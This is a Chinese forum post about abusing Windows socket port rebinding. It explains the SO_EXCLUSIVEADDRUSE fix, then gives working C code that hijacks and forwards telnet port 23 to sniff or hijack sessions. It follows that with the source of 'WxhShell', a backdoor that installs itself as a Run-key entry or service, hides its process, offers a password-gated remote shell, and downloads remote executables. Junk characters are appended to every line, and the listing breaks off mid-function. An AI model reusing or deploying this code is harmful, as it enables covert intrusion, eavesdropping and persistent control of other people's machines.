社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17366阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L*k[Vc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s>=DfE-;"  
_ >)+ u  
  saddr.sin_family = AF_INET; kz|2PP  
H4s^&--  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ ;%+Ms  
%9,:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  oCE=!75  
)E--E+j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `Yk~2t"V  
nz72w_  
  这意味着什么?意味着可以进行如下的攻击: Z(fXN$  
LRF_w)^['  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \Tf$i(0q  
=T73660  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gB4&pPN  
ao4"=My*G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~r<@`[-L  
mR3)$!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dj Z;LE>  
>FO4]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $XBn:0U  
cE{hy 7cH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +D[|Mi  
VrV )qfG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .hBq1p  
iFJ2dFA  
  #include gN2$;hb?  
  #include QucDIZ  
  #include $uw[X  
  #include    1&zvf4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~0}gRpMW  
  int main() qOA+ao  
  { ~d0:>8zQR  
  WORD wVersionRequested; nz{ ;]U1  
  DWORD ret; ;yfKYN[  
  WSADATA wsaData; eWKFs)C]  
  BOOL val; G.2\Sw  
  SOCKADDR_IN saddr; } tq  
  SOCKADDR_IN scaddr; MQs!+Z"m>  
  int err; {1 VHz])I  
  SOCKET s; t=,ZR}M1`  
  SOCKET sc; 26SXuFJ@  
  int caddsize; SM57bN  
  HANDLE mt; #[ei/p  
  DWORD tid;   hv)>HU&  
  wVersionRequested = MAKEWORD( 2, 2 ); `SFA`B)[5@  
  err = WSAStartup( wVersionRequested, &wsaData ); Xk9mJ]31LC  
  if ( err != 0 ) { to2; . ~X  
  printf("error!WSAStartup failed!\n"); 6Zr_W#SE  
  return -1; Nk.m$  
  } j,DF' h  
  saddr.sin_family = AF_INET; xwuGJ   
   CbvP1*1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 968<yO]  
s$%t*T2J>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :G.u{cw  
  saddr.sin_port = htons(23); \ a#{Y/j3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l*r8.qp  
  { s ;3k#-w  
  printf("error!socket failed!\n"); _xKIp>A  
  return -1; 1c5+X Cr  
  } NO)Hi)$X6Y  
  val = TRUE; :Dt]sE _d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oI\ Lepl*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .Us)YVbk  
  { |IcA8[  
  printf("error!setsockopt failed!\n"); {GH0> 1&  
  return -1; ]_"c_QG  
  } d4ga6N3'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r\PO?1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tPp9=e2[s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YkN0,6  
8+* 1s7{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OO?;??  
  { Wg!<V6}  
  ret=GetLastError(); }1xD*[W  
  printf("error!bind failed!\n"); ;\'d9C  
  return -1; {6I)6}w!k  
  } ,`pUz[wl  
  listen(s,2); >z'T"R/  
  while(1) e2"<3  
  { rSgOQ  
  caddsize = sizeof(scaddr); ngt?9i;N  
  //接受连接请求 =(==aP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); whW% c8  
  if(sc!=INVALID_SOCKET) gAudL)X  
  { op2<~v0?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .5^7Jwh  
  if(mt==NULL) h5o6G1ur  
  { }R9>1u}6  
  printf("Thread Creat Failed!\n"); $~ >/_<~  
  break; n8+_Uww  
  } *^3&Y@  
  } 1 u~Xk?  
  CloseHandle(mt); F(; =^w  
  } (ri eg F  
  closesocket(s); RM3"8J  
  WSACleanup(); r`\6+Ntb.  
  return 0; Q)/oU\  
  }   1CR)1H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4=nh' U38  
  { 9 df GV!Z  
  SOCKET ss = (SOCKET)lpParam; vNDf1B5z  
  SOCKET sc; :|HCUZ*H(T  
  unsigned char buf[4096]; O<`N0  
  SOCKADDR_IN saddr; PL|ea~/  
  long num; iw{rns  
  DWORD val; [*K.9}+G_  
  DWORD ret; a7>^^?|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N|2PW ~,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $xqX[ocor  
  saddr.sin_family = AF_INET; Krd0Gc~\|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8U)*kmq  
  saddr.sin_port = htons(23); GK`U<.[c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >c@jl  
  { h:=W`(n5u  
  printf("error!socket failed!\n"); n`X}&(O  
  return -1; c6Z"6-}$  
  } 2 {xf{)hO?  
  val = 100; $/kZKoF{f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7o7*g 7  
  { u#+Is4Vh  
  ret = GetLastError(); 3kavzB[  
  return -1; Ez+8B|0P  
  } #G]g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?&JK q^9\I  
  { cB6LJ}R  
  ret = GetLastError(); $ vBFs]h  
  return -1; A~ @x8  
  } P]0/S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %$&_!  
  { HE:]zH  
  printf("error!socket connect failed!\n"); G.~Ffk  
  closesocket(sc); x"P@[T  
  closesocket(ss); 97pfMk1_  
  return -1; GGU>={D)  
  } /[I#3|  
  while(1) 2f5YkmGc";  
  { $#-O^0D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ODxCD%L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bl-D{)X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &&7&/   
  num = recv(ss,buf,4096,0); Z4dl'v)9  
  if(num>0) BU O8 Z]  
  send(sc,buf,num,0); l^2m7 7)  
  else if(num==0) I`nC\%g  
  break; D$Ao-6QE W  
  num = recv(sc,buf,4096,0); ! Q8y]9O  
  if(num>0) LaYd7Oyf]  
  send(ss,buf,num,0); AEd9H +I  
  else if(num==0) 0|| 5 r#  
  break; ~?Zm3zOCc2  
  } C$d b) 5-  
  closesocket(ss); 0.&-1pw  
  closesocket(sc); s;#,c(   
  return 0 ; 4t 0p!IxG  
  } GO3KKuQ=  
jt0f*e YE8  
?(Xy 2%v  
========================================================== N_E)f  
&hJQHlyJM0  
下边附上一个代码,,WXhSHELL |#sY(1  
y?UB?2 VN  
========================================================== deOk>v&U  
C6qGCzlG`  
#include "stdafx.h" }J6 y NoXu  
|Es,$  
#include <stdio.h> GHQm$|3I  
#include <string.h> x b!&'cw  
#include <windows.h> 23X-h#w  
#include <winsock2.h> ,MUgww!.  
#include <winsvc.h> ^sF(IV[>  
#include <urlmon.h> Nv=&gOy=  
PnH5[4&k  
#pragma comment (lib, "Ws2_32.lib") "(iQ-g Mm  
#pragma comment (lib, "urlmon.lib") eC@b-q   
bZ}T;!U?I  
#define MAX_USER   100 // 最大客户端连接数 >$7{H]  
#define BUF_SOCK   200 // sock buffer kR <\iT0j  
#define KEY_BUFF   255 // 输入 buffer x_- SAyH  
++BQ==@  
#define REBOOT     0   // 重启 $49;\pBZl  
#define SHUTDOWN   1   // 关机 4$+/7I \  
{[bB$~7Eu  
#define DEF_PORT   5000 // 监听端口 %<1_\N7  
D2f~*!vEnA  
#define REG_LEN     16   // 注册表键长度 'jYKfq~_cJ  
#define SVC_LEN     80   // NT服务名长度 VuuF _y;  
\)cbg#v  
// 从dll定义API &X,6v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Aj[#4-=   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~BgNM O;|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NYeL1h)l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HMw}pp:  
-kb;h F}.  
// wxhshell配置信息 =WK's8FB;8  
struct WSCFG { ,uZz?7mO  
  int ws_port;         // 监听端口 2>)::9e4  
  char ws_passstr[REG_LEN]; // 口令 NW` Mc&  
  int ws_autoins;       // 安装标记, 1=yes 0=no OpmPw4?}  
  char ws_regname[REG_LEN]; // 注册表键名 e!w#{</8Q  
  char ws_svcname[REG_LEN]; // 服务名 T+>W(w i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R#Z m[S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %F(lq*8X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4{%-r[C9k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >[<f\BN|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vg7BK%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5:T}C@  
&<# ,J4  
}; '\P+Bu]6&  
o),@I#fM  
// default Wxhshell configuration 0+k=gO  
struct WSCFG wscfg={DEF_PORT, Bpv"qU7  
    "xuhuanlingzhe", Er|j\(jM  
    1, 7TA&u'  
    "Wxhshell", mzcxq:uZ5  
    "Wxhshell", L"}2Y3  
            "WxhShell Service", cUwR6I9  
    "Wrsky Windows CmdShell Service", Wv30;7~  
    "Please Input Your Password: ", uCj)7>}v{M  
  1, iThf\  
  "http://www.wrsky.com/wxhshell.exe", V5+|H1=  
  "Wxhshell.exe" F 7X ] h  
    }; uk3PoB^>  
Lt {&v ^y  
// 消息定义模块 MpJ]1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }sM_^&e4X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nr%P11U\c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IW=%2n(<1  
char *msg_ws_ext="\n\rExit."; 21hTun"W  
char *msg_ws_end="\n\rQuit."; uP1]EA  
char *msg_ws_boot="\n\rReboot..."; )_K:A(V>  
char *msg_ws_poff="\n\rShutdown..."; \n-.gG  
char *msg_ws_down="\n\rSave to "; R".*dC,0'B  
3# idXc  
char *msg_ws_err="\n\rErr!"; j^D/ ,SW  
char *msg_ws_ok="\n\rOK!"; JiGS[tR  
Pk:b:(4  
char ExeFile[MAX_PATH]; D\  P-|}  
int nUser = 0; Xliw(B'\a4  
HANDLE handles[MAX_USER]; N._^\FRyn  
int OsIsNt; {%z5^o1)  
"gt*k#  
SERVICE_STATUS       serviceStatus; ) Hqn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ Uv3g lK  
IDp2#qg_  
// 函数声明 ($[@'?Z1  
int Install(void); \ZC0bHsA  
int Uninstall(void); ^F-AZP /5F  
int DownloadFile(char *sURL, SOCKET wsh); $~T|v7Y%  
int Boot(int flag); nW]T-!  
void HideProc(void); WU6F-{M"?  
int GetOsVer(void); 4iJ4g%]  
int Wxhshell(SOCKET wsl); vcSb:('  
void TalkWithClient(void *cs); {QIdeB[  
int CmdShell(SOCKET sock); &usum~@  
int StartFromService(void); f4^\iZ{`G  
int StartWxhshell(LPSTR lpCmdLine); <KZ J  
\m+;^_;5GW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A~8-{F 31  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #G("Oh  
Bacmrf  
// 数据结构和表定义 VpB+|%@p  
SERVICE_TABLE_ENTRY DispatchTable[] = 1P/4,D@  
{ k'K 1zUBj  
{wscfg.ws_svcname, NTServiceMain}, J_&G\b.9/  
{NULL, NULL} #a!qJeWm0  
}; BSg 3  
0V'XE1h  
// 自我安装 @*JS[w$1  
int Install(void) I0OfK3!^  
{ ( Uk\O`)m  
  char svExeFile[MAX_PATH]; 4M>EQF&  
  HKEY key; 0lpUn74F  
  strcpy(svExeFile,ExeFile); 34qfP{9!N  
S[RVk=A1  
// 如果是win9x系统,修改注册表设为自启动 86~q pN  
if(!OsIsNt) { Ce_l\J8G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Og"\@n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp//SV  
  RegCloseKey(key); &MGM9 zm-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3@mW/l>X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n#)kvr  
  RegCloseKey(key); g y1i%  
  return 0; YJB f~0r  
    } RGLi#:0_.x  
  } ?^ `EI}g  
} B@,#,-=  
else { 4|KtsAVp{  
oqy}?<SQ  
// 如果是NT以上系统,安装为系统服务 'h;x>r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `MXGEJF  
if (schSCManager!=0) P>ZIP* Gr  
{ VY "i>Ae  
  SC_HANDLE schService = CreateService pAc "Wo(Q  
  ( x: 2 o$+v3  
  schSCManager, jUy$aGX  
  wscfg.ws_svcname, {iVmae  
  wscfg.ws_svcdisp, &y.6Hiy&  
  SERVICE_ALL_ACCESS, d ]Mjr2h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (W_U<~`t  
  SERVICE_AUTO_START, go5l<:9  
  SERVICE_ERROR_NORMAL, 1#^r5E4  
  svExeFile, {&.?u1C.\  
  NULL, rfhvdwwD  
  NULL, ??=7pFm  
  NULL, nh%Q";  
  NULL, TS;?>J-  
  NULL `r.  
  ); pc/]t^]p  
  if (schService!=0) nWv6I&  
  { $Z4IPs  
  CloseServiceHandle(schService); +U,>D +  
  CloseServiceHandle(schSCManager); x|<89o L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - x]gp5  
  strcat(svExeFile,wscfg.ws_svcname); oHkjMqju  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S$Fq1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v(z2,?/4  
  RegCloseKey(key); 2V=bE-  
  return 0; )>rHM6-W  
    } f)!7/+9>  
  } [5QbE$  
  CloseServiceHandle(schSCManager); \x+"1  
} >X-*Hu'U#  
} S*?x|&a  
Q1?0 ]5  
return 1; XpibI3:<  
} q. NvwJ  
${)s ~[  
// 自我卸载 $|r p5D6  
int Uninstall(void) P0XVR_TJf  
{ 4+15`  
  HKEY key; lF.yQ  
d]w%zo,yr  
if(!OsIsNt) { xl;0&/7e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n 0CS =  
  RegDeleteValue(key,wscfg.ws_regname); SjB#"A5  
  RegCloseKey(key); )m[dfeqd +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 088"7 s  
  RegDeleteValue(key,wscfg.ws_regname); +2S#3m?1  
  RegCloseKey(key); Jl(G4h V'\  
  return 0; &%`Y>\@f  
  } ,?zOJ,wl  
} W05>\Rl  
} O\KSPy7YQ  
else { Q XV8][  
_4#&!b6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !E|k#c9  
if (schSCManager!=0) >gLLr1L\  
{ uw`fC%-xh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y]>Qu f.!  
  if (schService!=0) UAq%Y8KA  
  { N"q C-h  
  if(DeleteService(schService)!=0) { auT'ATW7i  
  CloseServiceHandle(schService); *QT|J6ng  
  CloseServiceHandle(schSCManager); Yl$Cj>FG  
  return 0; ?\$\YX%/p  
  } 8  }(ul  
  CloseServiceHandle(schService); cPm-)/E)i  
  } @CU~3Md*  
  CloseServiceHandle(schSCManager); ,%%}d9  
} '4}c1F1T_  
} =j{r95)|u  
~ GW8|tw  
return 1; &9F(uk=X  
} ~M4@hG!  
e=%6\&q  
// 从指定url下载文件 'fkaeFzOl  
int DownloadFile(char *sURL, SOCKET wsh) C #A\Rfi  
{ |ZnRr  
  HRESULT hr; Qo;#}%}^^  
char seps[]= "/"; oK3aW6  
char *token; Vdz(\-}ao  
char *file; mv+K!T6  
char myURL[MAX_PATH]; r06M.r   
char myFILE[MAX_PATH]; (66DKG   
q"Z!}^{  
strcpy(myURL,sURL); Y?>us  
  token=strtok(myURL,seps); w(xRL#%  
  while(token!=NULL) s"solPw  
  { _noQk3N  
    file=token; \1p5$0z  
  token=strtok(NULL,seps); ax)j$  
  } J|BZ{T}d  
2!4.L&Ki  
GetCurrentDirectory(MAX_PATH,myFILE); 66+y@l1  
strcat(myFILE, "\\"); 0u"/7OU  
strcat(myFILE, file); 4JD 8w3u/  
  send(wsh,myFILE,strlen(myFILE),0); b88Zk*  
send(wsh,"...",3,0);  !&Z,ev  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N3`W%ws`~  
  if(hr==S_OK) <15POB  
return 0; F}lgy;=h  
else M:~/e8Xv  
return 1; ) -C9W7?I  
aumXidb S  
} 9A4h?/  
O(( kv|X4  
// 系统电源模块 Q:x:k+O-  
int Boot(int flag) ]%y~cq  
{ hR$lX8  
  HANDLE hToken; `>q|_w \e  
  TOKEN_PRIVILEGES tkp; iZy`5  
epH48)2  
  if(OsIsNt) { Uq,M\V \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z-{!Z;T)z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bn"r;pqWiT  
    tkp.PrivilegeCount = 1; 47iwb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YORFq9a{R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W].P(A>m  
if(flag==REBOOT) { q-.e9eoc\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P'Fy,fNg  
  return 0; Ohm>^N;  
} r]{fjw(~  
else { NS l$5E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X'&$wQ6,K  
  return 0; FNDLqf!j  
} LaZF=<w(  
  } -%=StWdb   
  else { $l&&y?()  
if(flag==REBOOT) { T2wn!N?r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <(JsB'TK  
  return 0;  :*M\z3`k  
} ! 40t:+I  
else { R0<ka[+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eh'mSf^=p  
  return 0; ^gFjm~2I  
} V=|^r?  
} `~(C\+gUp  
&F}1\6{fL  
return 1; tji,by#E/%  
} r1FE$R~C=  
s\&_Kbw] c  
// win9x进程隐藏模块 Q:~w;I  
void HideProc(void) oQDOwM,  
{ {K'SOh H4?  
bIm$7a`T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bE>3D#V<  
  if ( hKernel != NULL ) H/V%D O  
  { yT&bS\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E|9LUPcb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w c%  
    FreeLibrary(hKernel); ~,e!t.339  
  } J'O`3!Oy/  
BH0rT})  
return; ~~1~_0?e  
} Kc udWW]  
!BEOeq@2.  
// 获取操作系统版本 >`NY[Mn  
int GetOsVer(void) "tIf$z  
{ oz5o=gt7  
  OSVERSIONINFO winfo; Re1@2a>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~v>w%]  
  GetVersionEx(&winfo); ,.FTw,<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A?}OOjA  
  return 1; X}z KV  
  else \N#)e1.0P  
  return 0; SA>;]6)`(  
} eZHzo  
E2*"~gL^,  
// 客户端句柄模块 ~vl:Tb  
int Wxhshell(SOCKET wsl) o m_&|9B)  
{ )N=b<%WD   
  SOCKET wsh; ?XOeMI  
  struct sockaddr_in client; h/TPd]  
  DWORD myID; Br~%S?4"o  
u F*cS&'Z  
  while(nUser<MAX_USER) sf*SxdoZU  
{ T4!]^_t^  
  int nSize=sizeof(client); |I\A0aa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 18A&[6"!  
  if(wsh==INVALID_SOCKET) return 1; Mz++SPG7  
H+5]3>O-$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UiZ61lw  
if(handles[nUser]==0) _&%!4n#>  
  closesocket(wsh); (Z"Xp{u  
else VvF&E>f C  
  nUser++; l.)N  
  } wO!hVm,T a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FY|x<-f  
?3Jh{F_+  
  return 0; "tj#P  
} x b0+4w|  
*Yr-:s9J9  
// 关闭 socket >rFvT>@NU  
void CloseIt(SOCKET wsh) GO)rpk9  
{ BkZ%0rw%  
closesocket(wsh); F>b6fUtR  
nUser--; -.*\J|S@g  
ExitThread(0); Ys_YjlMIbl  
} Gj ^bz'2  
o7T|w~F~R  
// 客户端请求句柄 Q~@8t"P  
void TalkWithClient(void *cs) " }ZD)7K  
{ Azle ;\l`  
UKJY.W!w4  
  SOCKET wsh=(SOCKET)cs; ]Cz16e&=2  
  char pwd[SVC_LEN]; hrL<jcv|  
  char cmd[KEY_BUFF]; u9gr@06  
char chr[1]; 5->PDp  
int i,j; ;Pa(nUE@  
>gSerDH8\  
  while (nUser < MAX_USER) { p_AV3   
F:@Ixk?E  
if(wscfg.ws_passstr) { &rd(q'Vi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ``<1Lo@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -0X> y  
  //ZeroMemory(pwd,KEY_BUFF); Zb }PP;O  
      i=0; c'B"Onu@m*  
  while(i<SVC_LEN) { "XY?v8*c  
fA8+SaXW%  
  // 设置超时 'oHR4O*  
  fd_set FdRead; gCJ'wv)6|%  
  struct timeval TimeOut; }gW}Vr <  
  FD_ZERO(&FdRead); 19.cf3Dh  
  FD_SET(wsh,&FdRead); ~/U0S.C  
  TimeOut.tv_sec=8; V3oAZ34)  
  TimeOut.tv_usec=0; .HBvs=i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  +o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |u{QI3#'  
0uz"}v)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,2TqzU;  
  pwd=chr[0]; 2jW>uk4/i  
  if(chr[0]==0xd || chr[0]==0xa) { QB[s8"S  
  pwd=0; OVyy}1Hx  
  break; -"e}YN/  
  } YP<]f>SBt  
  i++; cWc)sb  
    } c Vn+~m_%  
|&Pl4P  
  // 如果是非法用户,关闭 socket >u)ZT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Wc/kY3&  
} zcKC5vqb  
aHC;p=RQ\A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]uvbQ.l_t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k^pu1g=6I  
f4S@lyYF  
while(1) { :6?&FzD`  
=.E(p)fz  
  ZeroMemory(cmd,KEY_BUFF); 4QFOO sNp  
pYVy(]1I(3  
      // 自动支持客户端 telnet标准   `5-#M/J  
  j=0; h!K2F~i{P  
  while(j<KEY_BUFF) { -mJ&N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g&T Cff  
  cmd[j]=chr[0]; z4641q5'm  
  if(chr[0]==0xa || chr[0]==0xd) { ? SP7vQ/  
  cmd[j]=0; t4@g;U?o  
  break; :WIf$P?X  
  } f*vk1dS:*3  
  j++; ?0NSjK5ma  
    } k6L373e#Q  
!>y}Xq{bm3  
  // 下载文件 P$/A!r  
  if(strstr(cmd,"http://")) { oRThJB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iT5SuIv  
  if(DownloadFile(cmd,wsh)) -Y=c g;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +g6j =%  
  else 4sBoD=e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ff1B)e  
  } Z 034wn\N  
  else { pE/3-0;}N  
DG*o w^  
    switch(cmd[0]) { sLa)~To  
  "!Oh#Vf  
  // 帮助 ;9p5YxD  
  case '?': { jfPJ5]Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pZ~> l=-  
    break; M(zY[O  
  } 7]xz8t  
  // 安装 @b*T4hwA.  
  case 'i': { }t D!xI;  
    if(Install()) L +rySP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 06 Esc^D  
    else ^xw [d}0 S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p5;,/ |Ft  
    break; "8iiRzt#  
    } k\&IFSp  
  // 卸载 5'c+313 lm  
  case 'r': { =R;1vUio  
    if(Uninstall()) @~#79B"9&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RQS:h]?:l  
    else pL}j ZTo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ym*#ZE`B!  
    break; Pv %vx U  
    } ooU Sb  
  // 显示 wxhshell 所在路径 h[je_^5  
  case 'p': { e|5B1rMM  
    char svExeFile[MAX_PATH]; },EUcVXk  
    strcpy(svExeFile,"\n\r"); ,gL)~6!A  
      strcat(svExeFile,ExeFile); zGL<m0C  
        send(wsh,svExeFile,strlen(svExeFile),0); z@l!\m-  
    break; b!5tFX;J  
    } >RL6Jbo|  
  // 重启 _/%]:  
  case 'b': { @t; O"q'|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ 2gT1B  
    if(Boot(REBOOT)) OU.9 #|qU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ghobu}wuF  
    else { (ln  
    closesocket(wsh); Fe& n,  
    ExitThread(0); ^I'Lw  
    } iVpA @p   
    break; @[>+Dzn[6  
